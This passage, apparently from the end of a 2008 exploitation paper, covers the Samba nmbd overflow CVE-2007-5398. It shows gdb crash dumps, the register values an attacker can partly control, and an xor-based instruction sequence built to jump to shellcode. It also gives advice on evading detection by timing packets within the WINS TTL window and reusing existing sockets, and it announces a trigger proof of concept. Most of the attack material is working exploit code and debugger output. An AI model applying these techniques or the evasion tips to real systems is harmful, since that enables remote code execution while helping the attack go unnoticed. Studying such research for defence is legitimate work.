I decided to look at the crash state again, and see what we can do with 
the 15 byte static .bss value in name_to_key()

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -D  -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) i r
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x42420000       1111621632
esp            0xbfbfe544       0xbfbfe544
ebp            0x5a5a0000       0x5a5a0000
esi            0x4242   16962
edi            0x41414242       1094795842
eip            0x41414242       0x41414242
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) 
--------------------------------------------

After looking at it again, we have:

 * partial control of ebx (two most significant bytes)
 * partial control of ebp (two most significant bytes)
 * partial control of esi (two least significant bytes)

After thinking about this a little more, with a bit of experimentation, we
could use "xor [edi+offset], reg" to modify partial contents of the code
that we could execute.

Testing this theory out, we see:

--------------------------------------------
$ ndisasm -b 32 t
00000000  315F08            xor [edi+0x8],ebx
00000003  317708            xor [edi+0x8],esi
00000006  316F08            xor [edi+0x8],ebp
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi

simple toupper:

$ cat t | tr a-z A-Z | ndisasm -b 32 - 
00000000  315F08            xor [edi+0x8],ebx
00000003  315708            xor [edi+0x8],edx
00000006  314F08            xor [edi+0x8],ecx
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi
--------------------------------------------

From the above, we can see that we can't use esi and ebp directly in the
xor argument, so if needed, we can push/pop around it. (This is not ideal,
as it reduces the space left that we may be critical.)

Looking quickly at this, we can do:
--------------------------------------------
xor [edi + <offset>], ebx 
push ebp
pop ebx
xor [edi + <offset>], ebx
sub esp, esi
jmp esp
--------------------------------------------

The last two instructions encode to \x29\xf4\xff\xe4, so that means we need
a byte with high bit set, that preferably expands to three bytes. (If the
previous sentence does not make sense, re-read the section on how the 
netbios name is converted due to charset issues). Quickly generating the 
applicable bytes, we see that \xb0 expands to \xe2\x96\x91, and is a 
suitable byte to use.

To get what we need:

--------------------------------------------
>>> hex(0xe2 ^ 0xf4) 
'0x16'
>>> hex(0x96 ^ 0xff)
'0x69'
>>> hex(0x91 ^ 0xe4)
'0x75'
--------------------------------------------

Putting all this together, we get: 

--------------------------------------------
Breakpoint 1, 0x08117f80 in keydata.21 ()
(gdb) x/10i $eip
0x8117f80 <keydata.21>: xor    %ebx,0x7(%edi)
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esp,%edx
0x8117f8a <keydata.21+10>:      xchg   %eax,%esi
0x8117f8b <keydata.21+11>:      xchg   %eax,%ecx
0x8117f8c <keydata.21+12>:      dec    %ecx
...
(gdb) stepi
0x08117f83 in keydata.21 ()
(gdb) x/10i $eip
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      call   *0x504e5749(%ecx)
0x8117f90 <keydata.21+16>:      add    %al,(%eax)
...
(gdb) stepi
0x08117f84 in keydata.21 ()
(gdb) 
0x08117f85 in keydata.21 ()
(gdb) 
0x08117f88 in keydata.21 ()
(gdb) x/10i $eip
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      jmp    *%esp
...
(gdb) i r esi
esi            0x59e    1438
(gdb) x/10i $esp - $esi 
0xbfbfdfa6:     cld    
0xbfbfdfa7:     mov    %edi,%eax
0xbfbfdfa9:     addb   $0x0,(%eax)
0xbfbfdfac:     mov    %edi,%esi
0xbfbfdfae:     nop    
0xbfbfdfaf:     addb   $0x0,(%eax)
0xbfbfdfb2:     add    $0x3c,%esi
0xbfbfdfb5:     addb   $0x0,(%eax)
0xbfbfdfb8:     mov    %esp,%edi
0xbfbfdfba:     nop    
--------------------------------------------

One problem with the above, is that the first_layer_sc.asm needs to be
updated, as various things have changed. Such as edi pointing to the .bss
memory location, esp pointing to where we are currently executing, etc.
Those changes are relatively minor however.

Unfortunately, due to the half eip overwrite, we still need two addresses
to gain code execution. However, this mechanism is probably more reliable 
than relying on stack addresses to be the same each run.

--[ 5.7 - Additional exploitation notes

Registrations take a parameter called ttl (time to live).. looking at the
Samba source we see:

--------------------------------------------
static int get_ttl_from_packet(struct nmb_packet *nmb)
{
        int ttl = nmb->additional->ttl;

        if (ttl < lp_min_wins_ttl()) {
                ttl = lp_min_wins_ttl();
        }

        if (ttl > lp_max_wins_ttl()) {
                ttl = lp_max_wins_ttl();
        }

        return ttl;
}

param/loadparam.c:
FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl)
Globals.min_wins_ttl = 60 * 60 * 6;     /* 6 hours default. */
Globals.max_wins_ttl = 60 * 60 * 24 * 6;        /* 6 days default. */
--------------------------------------------

This means that by default, we have just under 6 hours to send all the
required packets, and if we wanted, just under 6 days to exploit it. If the
registration packets are sent at appropriate intervals, this should avoid 
any signatures based on sending interval / query times. Another way to 
avoid simple detection, would be to use differing netbios registration 
flags, and avoid reasonably static ip addresses.

In addition to the above time out, with a little bit more effort, it's
possible to use the existing file descriptor, and ip address / port
information in the packet structure passed to reply_netbios_packet(), in
order to avoid new network connections which may be noticed / firewall'd /
blocked in some way.

With further work against known targets, the ebp register could be restored
correctly, and execution flow could be restored to the appropriate point.
This would provide seamless exploitation. 

--[ 6 - References

[1] http://us1.samba.org/samba/security/CVE-2007-5398.html
    http://secunia.com/secunia_research/2007-90/advisory/
[2] http://www.wireshark.org
[3] http://oss.coresecurity.com/projects/impacket.html
[4] http://sourceforge.net/projects/tdb/
[5] http://www.cs.rice.edu/~scrosby/hash/
[6] http://oss.coresecurity.com/projects/inlineegg.html
[7] http://www.phrack.org/issues.html?issue=59&id=7
[8] Bounds error: attempt to reference memory overrunning the end of an
    object. Pointer value: References, size: 1 

--[ 7 - Addendum 

I'm honoured that this paper was even considered worthy for inclusion. 
Thanks for the support ;)

I'll be present at Ruxcon 2008, so come along and join in the fun. 
http://www.ruxcon.org.au/ - 29th November, 2008

Here is a proof of concept to trigger the issue:

begin 600 CVE-2007_5398-trigger.py
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`
end
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